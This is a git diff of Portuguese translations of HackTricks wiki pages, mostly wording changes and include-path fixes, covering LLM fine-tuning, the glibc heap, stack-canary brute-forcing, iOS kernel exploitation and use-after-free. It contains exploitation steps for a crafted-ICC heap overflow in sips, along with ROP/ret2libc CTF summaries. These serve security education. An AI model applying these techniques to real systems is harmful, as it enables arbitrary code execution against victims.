Ajuste Fino para Classificação -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} ## O que é Ajuste fino é o processo de pegar um **modelo pré-treinado** que aprendeu **padrões gerais de linguagem** a partir de grandes quantidades de dados e **adaptá-lo** para realizar uma **tarefa específica** ou entender a linguagem específica de um domínio. Isso é alcançado continuando o treinamento do modelo em um conjunto de dados menor e específico para a tarefa, permitindo que ele ajuste seus parâmetros para se adequar melhor às nuances dos novos dados, aproveitando o amplo conhecimento que já adquiriu. O ajuste fino permite que o modelo forneça resultados mais precisos e relevantes em aplicações especializadas sem a necessidade de treinar um novo modelo do zero. > [!TIP] -> Como pré-treinar um LLM que "entende" o texto é bastante caro, geralmente é mais fácil e barato ajustar modelos pré-treinados de código aberto para realizar uma tarefa específica que queremos que ele execute. +> Como o pré-treinamento de um LLM que "entende" o texto é bastante caro, geralmente é mais fácil e barato ajustar modelos pré-treinados de código aberto para realizar uma tarefa específica que queremos que ele execute. > [!TIP] -> O objetivo desta seção é mostrar como ajustar um modelo já pré-treinado, de modo que, em vez de gerar novo texto, o LLM selecionará e dará as **probabilidades do texto dado ser categorizado em cada uma das categorias dadas** (como se um texto é spam ou não). +> O objetivo desta seção é mostrar como ajustar um modelo já pré-treinado, de modo que, em vez de gerar novo texto, o LLM selecione e forneça as **probabilidades do texto dado ser categorizado em cada uma das categorias dadas** (como se um texto é spam ou não). ## Preparando o conjunto de dados @@ -28,7 +28,7 @@ Então, **70%** do conjunto de dados é usado para **treinamento**, **10%** para ### Comprimento das entradas -Como o exemplo de treinamento espera entradas (texto de e-mails, neste caso) do mesmo comprimento, decidiu-se fazer cada entrada tão grande quanto a maior, adicionando os ids de `<|endoftext|>` como preenchimento. +Como o exemplo de treinamento espera entradas (texto de e-mails, neste caso) do mesmo comprimento, foi decidido fazer cada entrada tão grande quanto a maior, adicionando os ids de `<|endoftext|>` como preenchimento. ### Inicializar o modelo @@ -36,7 +36,7 @@ Usando os pesos pré-treinados de código aberto, inicialize o modelo para trein ## Cabeça de Classificação -Neste exemplo específico (prevendo se um texto é spam ou não), não estamos interessados em ajustar de acordo com o vocabulário completo do GPT2, mas queremos que o novo modelo diga se o e-mail é spam (1) ou não (0). Portanto, vamos **modificar a camada final que** fornece as probabilidades por token do vocabulário para uma que apenas fornece as probabilidades de ser spam ou não (então, como um vocabulário de 2 palavras). +Neste exemplo específico (prevendo se um texto é spam ou não), não estamos interessados em ajustar de acordo com o vocabulário completo do GPT2, mas queremos que o novo modelo diga se o e-mail é spam (1) ou não (0). Portanto, vamos **modificar a camada final que** fornece as probabilidades por token do vocabulário para uma que apenas fornece as probabilidades de ser spam ou não (como um vocabulário de 2 palavras). ```python # This code modified the final layer with a Linear one with 2 outs num_classes = 2 @@ -68,7 +68,7 @@ param.requires_grad = True Nas seções anteriores, o LLM foi treinado reduzindo a perda de cada token previsto, embora quase todos os tokens previstos estivessem na frase de entrada (apenas 1 no final foi realmente previsto) para que o modelo entendesse melhor a linguagem. -Neste caso, só nos importa se o modelo é spam ou não, então só nos importa o último token previsto. Portanto, é necessário modificar nossas funções de perda de treinamento anteriores para levar em conta apenas esse token. +Neste caso, só nos importa que o modelo seja capaz de prever se o modelo é spam ou não, então só nos importa o último token previsto. Portanto, é necessário modificar nossas funções de perda de treinamento anteriores para levar em conta apenas esse token. Isso é implementado em [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb) como: ```python @@ -111,4 +111,4 @@ Você pode encontrar todo o código para ajustar o GPT2 para ser um classificado - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.md b/src/AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.md index 6644e1d5f..63bb071d9 100644 --- a/src/AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.md +++ b/src/AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.md @@ -1,6 +1,6 @@ # 7.2. Ajuste Fino para Seguir Instruções -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} > [!TIP] > O objetivo desta seção é mostrar como **ajustar finamente um modelo já pré-treinado para seguir instruções** em vez de apenas gerar texto, por exemplo, respondendo a tarefas como um chatbot. @@ -9,7 +9,7 @@ Para ajustar finamente um LLM para seguir instruções, é necessário ter um conjunto de dados com instruções e respostas para ajustar o LLM. Existem diferentes formatos para treinar um LLM a seguir instruções, por exemplo: -- O estilo de prompt Apply Alpaca: +- O exemplo de estilo de prompt Apply Alpaca: ```csharp Below is an instruction that describes a task. Write a response that appropriately completes the request. @@ -91,7 +91,7 @@ Outros testes a serem realizados para verificar a qualidade das respostas: 10. **Stanford Question Answering Dataset (**[**SQuAD**](https://rajpurkar.github.io/SQuAD-explorer/)**):** SQuAD consiste em perguntas sobre artigos da Wikipedia, onde os modelos devem compreender o texto para responder com precisão. 11. [**TriviaQA**](https://nlp.cs.washington.edu/triviaqa/)**:** Um conjunto de dados em larga escala de perguntas e respostas de trivia, juntamente com documentos de evidência. -e muitos outros +e muitos mais ## Follow instructions fine-tuning code @@ -101,4 +101,4 @@ Você pode encontrar um exemplo do código para realizar esse ajuste fino em [ht - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/README.md b/src/AI/AI-llm-architecture/README.md index c89416f0f..c358bd426 100644 --- a/src/AI/AI-llm-architecture/README.md +++ b/src/AI/AI-llm-architecture/README.md @@ -1,6 +1,6 @@ # LLM Training - Data Preparation -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} **Estas são minhas anotações do livro muito recomendado** [**https://www.manning.com/books/build-a-large-language-model-from-scratch**](https://www.manning.com/books/build-a-large-language-model-from-scratch) **com algumas informações extras.** @@ -15,7 +15,7 @@ Você deve começar lendo este post para alguns conceitos básicos que você dev ## 1. Tokenization > [!TIP] -> O objetivo desta fase inicial é muito simples: **Dividir a entrada em tokens (ids) de uma forma que faça sentido**. +> O objetivo desta fase inicial é muito simples: **Dividir a entrada em tokens (ids) de uma maneira que faça sentido**. {{#ref}} 1.-tokenizing.md @@ -36,7 +36,7 @@ Você deve começar lendo este post para alguns conceitos básicos que você dev > O objetivo desta terceira fase é muito simples: **Atribuir a cada um dos tokens anteriores no vocabulário um vetor das dimensões desejadas para treinar o modelo.** Cada palavra no vocabulário será um ponto em um espaço de X dimensões.\ > Note que inicialmente a posição de cada palavra no espaço é apenas inicializada "aleatoriamente" e essas posições são parâmetros treináveis (serão melhorados durante o treinamento). > -> Além disso, durante a incorporação de tokens **outra camada de incorporações é criada** que representa (neste caso) a **posição absoluta da palavra na sentença de treinamento**. Dessa forma, uma palavra em diferentes posições na sentença terá uma representação (significado) diferente. +> Além disso, durante a incorporação de tokens **outra camada de incorporações é criada** que representa (neste caso) a **posição absoluta da palavra na sentença de treinamento**. Dessa forma, uma palavra em diferentes posições na sentença terá uma representação diferente (significado). {{#ref}} 3.-token-embeddings.md @@ -45,7 +45,7 @@ Você deve começar lendo este post para alguns conceitos básicos que você dev ## 4. Attention Mechanisms > [!TIP] -> O objetivo desta quarta fase é muito simples: **Aplicar alguns mecanismos de atenção**. Estes serão muitas **camadas repetidas** que vão **capturar a relação de uma palavra no vocabulário com seus vizinhos na sentença atual sendo usada para treinar o LLM**.\ +> O objetivo desta quarta fase é muito simples: **Aplicar alguns mecanismos de atenção**. Estas serão muitas **camadas repetidas** que vão **capturar a relação de uma palavra no vocabulário com seus vizinhos na sentença atual sendo usada para treinar o LLM**.\ > Muitas camadas são usadas para isso, então muitos parâmetros treináveis estarão capturando essa informação. {{#ref}} @@ -99,4 +99,4 @@ Você deve começar lendo este post para alguns conceitos básicos que você dev 7.2.-fine-tuning-to-follow-instructions.md {{#endref}} -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/arbitrary-write-2-exec/README.md b/src/binary-exploitation/arbitrary-write-2-exec/README.md index 11f28b2aa..37a69920c 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/README.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/README.md @@ -1,3 +1,3 @@ # Arbitrary Write 2 Exec -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md index 8f09cca4f..cc5cf5604 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md @@ -16,21 +16,21 @@ if (i > numberOfInputChannels && buffer[i] != 0) buffer[i] = 0; } ``` -Apenas uma verificação `offsetToCLUT <= totalDataLength` é realizada. Ao definir `offsetToCLUT == tagDataSize`, o loop indexa até 16 bytes além do final de `buffer`, corrompendo os metadados da heap adjacente. +Apenas uma verificação `offsetToCLUT <= totalDataLength` é realizada. Ao definir `offsetToCLUT == tagDataSize`, o loop indexa até 16 bytes além do final de `buffer`, corrompendo os metadados adjacentes do heap. ## Etapas de Exploração 1. **Criar perfil `.icc` malicioso:** - Construa o cabeçalho ICC (128 bytes) com a assinatura `acsp` e uma única entrada de tag `lutAToBType` ou `lutBToAType`. - Na tabela de tags, defina `offsetToCLUT` igual ao `size` da tag (`tagDataSize`). -- Coloque dados controlados pelo atacante imediatamente após o bloco de dados da tag para sobrescrever os metadados da heap. +- Coloque dados controlados pelo atacante imediatamente após o bloco de dados da tag para sobrescrever os metadados do heap. 2. **Acionar a análise:** ```bash sips --verifyColor malicious.icc ``` -3. **Corrompimento de metadados da heap:** As gravações zero fora da faixa sobrescrevem os metadados do alocador ou ponteiros adjacentes, permitindo que o atacante se aproprie do fluxo de controle e consiga execução arbitrária de código no contexto do processo `sips`. +3. **Corrompimento de metadados do heap:** As gravações zero fora da faixa sobrescrevem os metadados do alocador ou ponteiros adjacentes, permitindo que o atacante se aproprie do fluxo de controle e consiga execução arbitrária de código no contexto do processo `sips`. ## Impacto @@ -50,4 +50,4 @@ https://www.thezdi.com/blog/2025/5/7/cve-2024-44236-remote-code-execution-vulner - Atualização de Segurança da Apple de Outubro de 2024 (patch enviando CVE-2024-44236) https://support.apple.com/en-us/121564 -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/array-indexing.md b/src/binary-exploitation/array-indexing.md index ff68fa933..2788b6007 100644 --- a/src/binary-exploitation/array-indexing.md +++ b/src/binary-exploitation/array-indexing.md @@ -1,4 +1,4 @@ -# Indexação de Arrays +# Indexação de Array {{#include ../banners/hacktricks-training.md}} @@ -15,6 +15,6 @@ No entanto, você pode encontrar alguns **exemplos** interessantes: - [https://faraz.faith/2019-10-20-secconctf-2019-sum/](https://faraz.faith/2019-10-20-secconctf-2019-sum/) - 64 bits, sem relro, canário, nx, sem pie. Há um off-by-one em um array na pilha que permite controlar um ponteiro concedendo WWW (ele escreve a soma de todos os números do array no endereço sobrescrito pelo off-by-one no array). A pilha é controlada, então o endereço GOT `exit` é sobrescrito com `pop rdi; ret`, e na pilha é adicionado o endereço para `main` (retornando para `main`). Uma cadeia ROP para vazar o endereço de put na GOT usando puts é usada (`exit` será chamado, então chamará `pop rdi; ret`, executando assim essa cadeia na pilha). Finalmente, uma nova cadeia ROP executando ret2lib é usada. - [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html) -- 32 bits, sem relro, sem canário, nx, pie. Abusar de uma má indexação para vazar endereços de libc e heap da pilha. Abusar do buffer overflow para fazer um ret2lib chamando `system('/bin/sh')` (o endereço da heap é necessário para contornar uma verificação). +- 32 bits, sem relro, sem canário, nx, pie. Abusar de uma indexação ruim para vazar endereços de libc e heap da pilha. Abusar do buffer overflow para fazer um ret2lib chamando `system('/bin/sh')` (o endereço da heap é necessário para contornar uma verificação). -{{#include /banners/hacktricks-training.md}} +{{#include ../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md index 9eb437095..7925263e2 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md @@ -14,7 +14,7 @@ A melhor maneira de contornar um canário simples é se o binário for um programa **que cria processos filhos toda vez que você estabelece uma nova conexão** com ele (serviço de rede), porque toda vez que você se conecta a ele **o mesmo canário será usado**. -Então, a melhor maneira de contornar o canário é apenas **forçá-lo caractere por caractere**, e você pode descobrir se o byte do canário adivinhado estava correto verificando se o programa travou ou continua seu fluxo regular. Neste exemplo, a função **força um canário de 8 Bytes (x64)** e distingue entre um byte adivinhado corretamente e um byte ruim apenas **verificando** se uma **resposta** é enviada de volta pelo servidor (outra maneira em **outra situação** poderia ser usando um **try/except**): +Então, a melhor maneira de contornar o canário é apenas **forçá-lo brute-force caractere por caractere**, e você pode descobrir se o byte do canário adivinhado estava correto verificando se o programa travou ou continua seu fluxo regular. Neste exemplo, a função **força um canário de 8 Bytes (x64)** e distingue entre um byte adivinhado corretamente e um byte ruim apenas **verificando** se uma **resposta** é enviada de volta pelo servidor (outra maneira em **outra situação** poderia ser usando um **try/except**): ### Exemplo 1 @@ -103,10 +103,10 @@ log.info(f"The canary is: {canary}") ``` ## Threads -Threads do mesmo processo também **compartilharão o mesmo token canário**, portanto será possível **forçar um canário** se o binário gerar uma nova thread toda vez que um ataque acontecer. +Threads do mesmo processo também **compartilharão o mesmo token canário**, portanto será possível **forçar um canário** se o binário criar uma nova thread toda vez que um ataque acontecer. -Além disso, um **overflow de buffer em uma função com threads** protegida com canário poderia ser usado para **modificar o canário mestre armazenado no TLS**. Isso ocorre porque pode ser possível alcançar a posição de memória onde o TLS está armazenado (e, portanto, o canário) via um **bof na pilha** de uma thread.\ -Como resultado, a mitigação é inútil porque a verificação é usada com dois canários que são os mesmos (embora modificados).\ +Além disso, um **overflow de buffer em uma função com threads** protegida com canário poderia ser usado para **modificar o canário mestre armazenado no TLS**. Isso ocorre porque pode ser possível alcançar a posição de memória onde o TLS está armazenado (e, portanto, o canário) através de um **bof na pilha** de uma thread.\ +Como resultado, a mitigação é inútil porque a verificação é feita com dois canários que são os mesmos (embora modificados).\ Esse ataque é realizado na descrição: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) Confira também a apresentação de [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) que menciona que geralmente o **TLS** é armazenado por **`mmap`** e quando uma **pilha** de **thread** é criada, ela também é gerada por `mmap`, de acordo com isso, o que pode permitir o overflow como mostrado na descrição anterior. @@ -114,9 +114,9 @@ Confira também a apresentação de [https://www.slideshare.net/codeblue_jp/mast ## Other examples & references - [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html) -- 64 bits, no PIE, nx, BF canary, escreva em alguma memória um ROP para chamar `execve` e pule para lá. +- 64 bits, no PIE, nx, BF canary, escreva em alguma memória um ROP para chamar `execve` e pular lá. -{{#include /banners/hacktricks-training.md}} +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting.md b/src/binary-exploitation/ios-exploiting.md index ac0bd8dcc..3778b07e5 100644 --- a/src/binary-exploitation/ios-exploiting.md +++ b/src/binary-exploitation/ios-exploiting.md @@ -1,10 +1,10 @@ # iOS Exploiting -{{#include /banners/hacktricks-training.md}} +{{#include ../banners/hacktricks-training.md}} ## Uso físico após liberação -Este é um resumo do post de [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html), além de mais informações sobre a exploração usando esta técnica podem ser encontradas em [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) +Este é um resumo do post de [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html), além disso, mais informações sobre a exploração usando esta técnica podem ser encontradas em [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) ### Gerenciamento de memória no XNU @@ -47,7 +47,7 @@ Vamos supor que você tente acessar o endereço virtual **0x1000000000**: Se você escrever o endereço físico **0x800004000** no primeiro índice da tabela L2, então: * Endereços virtuais de **0x1000000000** a **0x1002000000** mapeiam para endereços físicos de **0x800004000** a **0x802004000**. -* Isso é um **mapeamento de bloco** no nível L2. +* Este é um **mapeamento de bloco** no nível L2. Alternativamente, se a entrada L2 apontar para uma tabela L3: @@ -204,4 +204,4 @@ iosurface_set_indexed_timestamp_pointer(info.object, orig); Com esses primitivos, o exploit fornece **leituras de 32 bits** e **escritas de 64 bits** na memória do kernel. Passos adicionais de jailbreak podem envolver primitivos de leitura/escrita mais estáveis, que podem exigir a superação de proteções adicionais (por exemplo, PPL em dispositivos arm64e mais novos). -{{#include /banners/hacktricks-training.md}} +{{#include ../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/README.md b/src/binary-exploitation/libc-heap/README.md index 0f81f1009..2c1e1456a 100644 --- a/src/binary-exploitation/libc-heap/README.md +++ b/src/binary-exploitation/libc-heap/README.md @@ -1,10 +1,10 @@ # Libc Heap -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} ## Heap Basics -O heap é basicamente o lugar onde um programa poderá armazenar dados quando solicita dados chamando funções como **`malloc`**, `calloc`... Além disso, quando essa memória não é mais necessária, ela é disponibilizada chamando a função **`free`**. +O heap é basicamente o lugar onde um programa pode armazenar dados quando solicita dados chamando funções como **`malloc`**, `calloc`... Além disso, quando essa memória não é mais necessária, ela é disponibilizada chamando a função **`free`**. Como mostrado, é logo após onde o binário está sendo carregado na memória (ver a seção `[heap]`): @@ -12,15 +12,15 @@ Como mostrado, é logo após onde o binário está sendo carregado na memória ( ### Basic Chunk Allocation -Quando alguns dados são solicitados para serem armazenados no heap, um espaço do heap é alocado para isso. Esse espaço pertencerá a um bin e apenas os dados solicitados + o espaço dos cabeçalhos do bin + o deslocamento do tamanho mínimo do bin serão reservados para o chunk. O objetivo é reservar a menor quantidade de memória possível sem complicar a localização de onde cada chunk está. Para isso, as informações de metadados do chunk são usadas para saber onde cada chunk usado/livre está. +Quando alguns dados são solicitados para serem armazenados no heap, um espaço do heap é alocado para isso. Esse espaço pertencerá a um bin e apenas os dados solicitados + o espaço dos cabeçalhos do bin + o deslocamento do tamanho mínimo do bin serão reservados para o chunk. O objetivo é reservar a menor quantidade de memória possível sem complicar a localização de onde cada chunk está. Para isso, as informações de chunk de metadados são usadas para saber onde cada chunk usado/livre está. -Existem diferentes maneiras de reservar o espaço, dependendo principalmente do bin utilizado, mas uma metodologia geral é a seguinte: +Existem diferentes maneiras de reservar o espaço, dependendo do bin utilizado, mas uma metodologia geral é a seguinte: - O programa começa solicitando uma certa quantidade de memória. - Se na lista de chunks houver um disponível grande o suficiente para atender à solicitação, ele será usado. - Isso pode até significar que parte do chunk disponível será usada para essa solicitação e o restante será adicionado à lista de chunks. - Se não houver nenhum chunk disponível na lista, mas ainda houver espaço na memória heap alocada, o gerenciador de heap cria um novo chunk. -- Se não houver espaço suficiente no heap para alocar o novo chunk, o gerenciador de heap solicita ao kernel que expanda a memória alocada para o heap e, em seguida, usa essa memória para gerar o novo chunk. +- Se não houver espaço de heap suficiente para alocar o novo chunk, o gerenciador de heap solicita ao kernel que expanda a memória alocada para o heap e, em seguida, usa essa memória para gerar o novo chunk. - Se tudo falhar, `malloc` retorna nulo. Observe que se a **memória solicitada ultrapassar um limite**, **`mmap`** será usado para mapear a memória solicitada. @@ -29,7 +29,7 @@ Observe que se a **memória solicitada ultrapassar um limite**, **`mmap`** será Em aplicações **multithreaded**, o gerenciador de heap deve prevenir **condições de corrida** que poderiam levar a falhas. Inicialmente, isso era feito usando um **mutex global** para garantir que apenas um thread pudesse acessar o heap por vez, mas isso causou **problemas de desempenho** devido ao gargalo induzido pelo mutex. -Para resolver isso, o alocador de heap ptmalloc2 introduziu "arenas", onde **cada arena** atua como um **heap separado** com suas **próprias** estruturas de **dados** e **mutex**, permitindo que múltiplos threads realizem operações no heap sem interferir uns nos outros, desde que usem arenas diferentes. +Para resolver isso, o alocador de heap ptmalloc2 introduziu "arenas", onde **cada arena** atua como um **heap separado** com suas **próprias** estruturas de **dados** e **mutex**, permitindo que múltiplos threads realizem operações de heap sem interferir uns nos outros, desde que usem arenas diferentes. A arena "principal" padrão lida com operações de heap para aplicações de thread único. Quando **novos threads** são adicionados, o gerenciador de heap os atribui **arenas secundárias** para reduzir a contenção. Ele tenta primeiro anexar cada novo thread a uma arena não utilizada, criando novas se necessário, até um limite de 2 vezes o número de núcleos de CPU para sistemas de 32 bits e 8 vezes para sistemas de 64 bits. Uma vez que o limite é alcançado, **os threads devem compartilhar arenas**, levando a uma potencial contenção. @@ -37,18 +37,18 @@ Diferente da arena principal, que se expande usando a chamada de sistema `brk`, ### Subheaps -Subheaps servem como reservas de memória para arenas secundárias em aplicações multithreaded, permitindo que elas cresçam e gerenciem suas próprias regiões de heap separadamente do heap principal. Veja como os subheaps diferem do heap inicial e como operam: +Subheaps servem como reservas de memória para arenas secundárias em aplicações multithreaded, permitindo que elas cresçam e gerenciem suas próprias regiões de heap separadamente do heap principal. Aqui está como os subheaps diferem do heap inicial e como operam: 1. **Heap Inicial vs. Subheaps**: - O heap inicial está localizado diretamente após o binário do programa na memória e se expande usando a chamada de sistema `sbrk`. - Subheaps, usados por arenas secundárias, são criados através de `mmap`, uma chamada de sistema que mapeia uma região de memória especificada. 2. **Reserva de Memória com `mmap`**: -- Quando o gerenciador de heap cria um subheap, ele reserva um grande bloco de memória através de `mmap`. Essa reserva não aloca memória imediatamente; ela simplesmente designa uma região que outros processos ou alocações do sistema não devem usar. +- Quando o gerenciador de heap cria um subheap, ele reserva um grande bloco de memória através de `mmap`. Essa reserva não aloca memória imediatamente; ela simplesmente designa uma região que outros processos do sistema ou alocações não devem usar. - Por padrão, o tamanho reservado para um subheap é de 1 MB para processos de 32 bits e 64 MB para processos de 64 bits. 3. **Expansão Gradual com `mprotect`**: - A região de memória reservada é inicialmente marcada como `PROT_NONE`, indicando que o kernel não precisa alocar memória física para esse espaço ainda. - Para "crescer" o subheap, o gerenciador de heap usa `mprotect` para mudar as permissões de página de `PROT_NONE` para `PROT_READ | PROT_WRITE`, solicitando ao kernel que aloque memória física para os endereços previamente reservados. Essa abordagem passo a passo permite que o subheap se expanda conforme necessário. -- Uma vez que todo o subheap é esgotado, o gerenciador de heap cria um novo subheap para continuar a alocação. +- Uma vez que todo o subheap esteja esgotado, o gerenciador de heap cria um novo subheap para continuar a alocação. ### heap_info @@ -74,7 +74,7 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK]; **Cada heap** (arena principal ou outras arenas de threads) tem uma **estrutura `malloc_state`.**\ É importante notar que a **estrutura `malloc_state` da arena principal** é uma **variável global na libc** (portanto localizada no espaço de memória da libc).\ -No caso das estruturas **`malloc_state`** dos heaps das threads, elas estão localizadas **dentro do "heap" da própria thread**. +No caso das **estruturas `malloc_state`** dos heaps das threads, elas estão localizadas **dentro do "heap" da própria thread**. Há algumas coisas interessantes a notar sobre esta estrutura (veja o código C abaixo): @@ -159,7 +159,7 @@ struct malloc_chunk* bk_nextsize; typedef struct malloc_chunk* mchunkptr; ``` -Como comentado anteriormente, esses chunks também têm alguns metadados, muito bem representados nesta imagem: +Como comentado anteriormente, esses chunks também possuem alguns metadados, muito bem representados nesta imagem:

https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png

@@ -261,7 +261,7 @@ req = (req + (__MTAG_GRANULE_SIZE - 1)) & return request2size (req); } ``` -Observe que, para calcular o espaço total necessário, o `SIZE_SZ` é adicionado apenas 1 vez porque o campo `prev_size` pode ser usado para armazenar dados, portanto, apenas o cabeçalho inicial é necessário. +Note que, para calcular o espaço total necessário, `SIZE_SZ` é adicionado apenas 1 vez porque o campo `prev_size` pode ser usado para armazenar dados, portanto, apenas o cabeçalho inicial é necessário. ### Obter dados do Chunk e alterar metadados @@ -354,7 +354,7 @@ people extending or adapting this malloc. #define clear_inuse_bit_at_offset(p, s) \ (((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE)) ``` -- Defina cabeçalho e rodapé (quando números de bloco estão em uso) +- Defina cabeçalho e rodapé (quando números de chunk estão em uso) ```c /* Set size at head, without disturbing its use bit */ #define set_head_size(p, s) ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s))) @@ -485,7 +485,7 @@ e dentro dela alguns chunks podem ser encontrados: ## Bins & Alocações/Liberções de Memória -Verifique quais são os bins e como eles estão organizados e como a memória é alocada e liberada em: +Verifique quais são os bins e como estão organizados e como a memória é alocada e liberada em: {{#ref}} bins-and-memory-allocations.md @@ -505,4 +505,4 @@ heap-memory-functions/heap-functions-security-checks.md - [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/) -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/use-after-free/first-fit.md b/src/binary-exploitation/libc-heap/use-after-free/first-fit.md index 56d16b93b..0160582b2 100644 --- a/src/binary-exploitation/libc-heap/use-after-free/first-fit.md +++ b/src/binary-exploitation/libc-heap/use-after-free/first-fit.md @@ -8,7 +8,7 @@ Quando você libera memória em um programa usando glibc, diferentes "bins" são ### Bins Não Ordenados -Quando você libera um bloco de memória que não é um bloco rápido, ele vai para o bin não ordenado. Este bin atua como uma lista onde novos blocos liberados são adicionados à frente (a "cabeça"). Quando você solicita um novo bloco de memória, o alocador olha para o bin não ordenado de trás para frente (a "cauda") para encontrar um bloco que seja grande o suficiente. Se um bloco do bin não ordenado for maior do que o que você precisa, ele é dividido, com a parte da frente sendo retornada e a parte restante permanecendo no bin. +Quando você libera um bloco de memória que não é um bloco rápido, ele vai para o bin não ordenado. Este bin atua como uma lista onde novos blocos liberados são adicionados à frente (o "cabeça"). Quando você solicita um novo bloco de memória, o alocador olha para o bin não ordenado a partir de trás (o "cauda") para encontrar um bloco que seja grande o suficiente. Se um bloco do bin não ordenado for maior do que o que você precisa, ele é dividido, com a parte da frente sendo retornada e a parte restante permanecendo no bin. Exemplo: @@ -24,7 +24,7 @@ char *c = malloc(250); ``` ### Fastbins -Fastbins são usados para pequenos pedaços de memória. Ao contrário dos unsorted bins, fastbins adicionam novos pedaços ao início, criando um comportamento de último a entrar, primeiro a sair (LIFO). Se você solicitar um pequeno pedaço de memória, o alocador irá retirar do início do fastbin. +Fastbins são usados para pequenos pedaços de memória. Ao contrário dos bins não ordenados, fastbins adicionam novos pedaços ao início, criando um comportamento de último a entrar, primeiro a sair (LIFO). Se você solicitar um pequeno pedaço de memória, o alocador irá retirar do início do fastbin. Exemplo: @@ -49,14 +49,14 @@ d = malloc(20); // a - [**https://heap-exploitation.dhavalkapil.com/attacks/first_fit**](https://heap-exploitation.dhavalkapil.com/attacks/first_fit) - [**https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/**](https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/) -- ARM64. Use after free: Gere um objeto de usuário, libere-o, gere um objeto que receba o pedaço liberado e permita escrever nele, **sobrescrevendo a posição de user->password** do anterior. Reutilize o usuário para **contornar a verificação de senha** +- ARM64. Use after free: Gere um objeto de usuário, libere-o, gere um objeto que obtenha o pedaço liberado e permita escrever nele, **sobrescrevendo a posição de user->password** do anterior. Reutilize o usuário para **contornar a verificação de senha** - [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example) - O programa permite criar notas. Uma nota terá as informações da nota em um malloc(8) (com um ponteiro para uma função que pode ser chamada) e um ponteiro para outro malloc(\) com o conteúdo da nota. - O ataque seria criar 2 notas (note0 e note1) com conteúdos malloc maiores do que o tamanho das informações da nota e, em seguida, liberá-las para que entrem no fast bin (ou tcache). -- Em seguida, crie outra nota (note2) com tamanho de conteúdo 8. O conteúdo vai estar em note1, pois o pedaço será reutilizado, onde poderíamos modificar o ponteiro da função para apontar para a função win e então Use-After-Free a note1 para chamar o novo ponteiro da função. +- Em seguida, crie outra nota (note2) com tamanho de conteúdo 8. O conteúdo vai estar na note1, pois o pedaço será reutilizado, onde poderíamos modificar o ponteiro da função para apontar para a função win e então Use-After-Free a note1 para chamar o novo ponteiro da função. - [**https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html) -- É possível alocar alguma memória, 